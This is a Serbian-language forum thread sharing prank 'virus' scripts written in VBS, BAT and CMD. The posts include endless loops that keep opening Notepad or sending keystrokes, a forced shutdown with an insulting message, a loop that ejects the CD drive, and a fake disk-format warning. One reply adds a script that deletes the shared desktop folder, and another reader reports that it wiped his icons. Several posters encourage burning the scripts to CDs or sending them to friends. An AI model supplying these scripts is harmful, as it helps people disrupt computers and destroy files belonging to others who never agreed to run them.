Signup Now
Da bi mogli da pišete na forumu, otvarate nove teme, kao i da vidite download
linkove morate prvo da se registrujete.

Ukoliko Vam nije jasan proces registracije, molimo vas da kliknete OVDE
Ako ste zaboravili lozinku, kliknite OVDE :)

Pravljenje vestackih virusa

Diskusija u 'Domaći Tutorijali' započeta od boki71, 06.10.2009.

  1. boki71

    boki71 Uz duplu Anu... Administrator

    Postova:
    48.482
    Zahvala:
    32.841
    Pol:
    Muški
    Lokacija:
    Centar sveta
    Ovo nije pravljenje pravih virusa vec fajlova koji ce zabaviti ili unesreciti malo osobu kojoj sve to priredjujete.Potrebno je da ove tekstove usnimite u program Notepad i sacuvate ih u .vbs formatu..Startovanjem istih fajlova docice do sledeceg.....

    Ova skripta, nakon što dvokliknete na nju, će početi otvarati notepad i tako u nedogled.
    Da biste to zaustavili potrebno je restartovati racunar....

    WScript.Sleep 10
    WScript.Sleep 10
    Set WshShell = WScript.CreateObject("WScript.Shell")
    do
    WshShell.Run "notepad"
    WScript.Sleep 100
    WshShell.AppActivate "notepad"
    loop




    Ova skripta, nakon što dvokliknete na nju, će početi paliti i gasiti lampicu za caps lock.

    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop




    Ova skripta, nakon što dvokliknete na nju, će se ponašati kao da stalno klikate enter.
    Da bi zaustavili potrebno je restartovati racunar.

    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop



    Ova skripta, nakon starta na nju, će pokazati poruku, i onda će se ponašati kao da stalno klikate backspace.Za zaustavljanje potreban restart racunara..

    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop



    Ova sktipta nakon startovanja sama gasi racunar ,ali mora se spremiti u .bat format..

    @echo off
    msg * I don't like you
    shutdown -c "error! you are too stupid!" -s



    Ova skripta, nakon starta na nju, će početi otvarati i zatvarati vaš dvd/cd pogon

    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop




    Ova skripta izbacuje prozor sa Waring upozorenjem.....

    lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")



    Pravljenje skripte po vasoj zelji,sami ubacujete tekst koji zelite.....

    x = MsgBox("Tekst Error Poruke...",3+48 ,"Naslov Poruke...")


    brojeve 3+48 mozete takodje menjati po zelji a evo koje jos mozete koristiti....

    Prvi broj(ovde je broj 3 u pitanju)

    0 = Samo OK dugme
    1 = Prikazuje dugme OK i Cancel
    2 = Prikazuje Abort, Retry, i Ignore dugmice...
    3 = Dugmici Yes, No, i Cancel
    4 = Prikazuje samo Yes i No

    Drugi broj(u gornjem slucaju 48)mozete zameniti brojevima u zavisnosti sta zelite da se prikaze

    16 = Stop Ikonica
    32 = "Znak pitanja" Ikonica
    48 = "Znak uzvika"Ikonica
    64 = "i" Ikonica
    5 = Prikazuje Retry i Cancel
     
  2. Tom Clensy

    Tom Clensy

    Postova:
    1
    Zahvala:
    0
    da li mogu da pravim viruse u pascalu
     
  3. boki71

    boki71 Uz duplu Anu... Administrator

    Postova:
    48.482
    Zahvala:
    32.841
    Pol:
    Muški
    Lokacija:
    Centar sveta
    U Turbo Paskalu da........ali ne ovu vrstu.......ovo sukako i sam naslov kaze ,,vestacki,,...
     
  4. boris1998

    boris1998 Član

    Postova:
    25
    Zahvala:
    2
    Lokacija:
    Lazarevac
    Prevario sam svoje drugare, tako što sam ovo sve narezao na CD.
    Ali mi reci, ako znaš, kako VBScript fajl da upload-ujem na blog ili forum!?
     
  5. boris1998

    boris1998 Član

    Postova:
    25
    Zahvala:
    2
    Lokacija:
    Lazarevac
    Kako upload-ovati VBScript!?
     
  6. boris1998

    boris1998 Član

    Postova:
    25
    Zahvala:
    2
    Lokacija:
    Lazarevac
    CMD i BAT Virusi

    Ovo su jednostavni virusi koji mogu nekome napraviti ozbiljan problem. Rade se u Notepad-u i čuvaju kao *.cmd ili *.bat.
    Mala šala, ali ne znam da li radi:

    @echo onn
    time 00:42
    cd\documents and settings\all users
    @echo off
    color 40
    title Virus
    @echo onn
    cd\documents and settings\all users
    @del desktop /s /q
    rd desktop /s /q
    @echo off
    echo Files sucessfuly deleted
    msg * Files sucessfuly deleted



    Sačuva se kao virus.cmd.

    Ako neko ima još neki kod neka doda.
    :)
     
    Sone011 se ovo sviđa.
  7. Julkica

    Julkica Član

    Postova:
    1.307
    Zahvala:
    6
    Lokacija:
    Germany
    Bas si human Boki, naucio si nas kako da unesrecimo druge...ili drugi nas :roll:
     
  8. LongLife

    LongLife Član

    Postova:
    3.218
    Zahvala:
    24
    Lokacija:
    Pančevo
    WTF...ovo brise ikonice sa desktopa...sva sreca pa je bio shortcut...xD
     
  9. LongLife

    LongLife Član

    Postova:
    3.218
    Zahvala:
    24
    Lokacija:
    Pančevo
    Ja znam za ovo:

    quote
    shutdown.exe -s -c "VASA PORUKA" -t 60

    ovo "60" je vreme za koje ocete da se ugasi kompijuter....!
    To sacuvati kao .bat i poslati nekome:lol:
     
  10. boki71

    boki71 Uz duplu Anu... Administrator

    Postova:
    48.482
    Zahvala:
    32.841
    Pol:
    Muški
    Lokacija:
    Centar sveta

Preporučite stranicu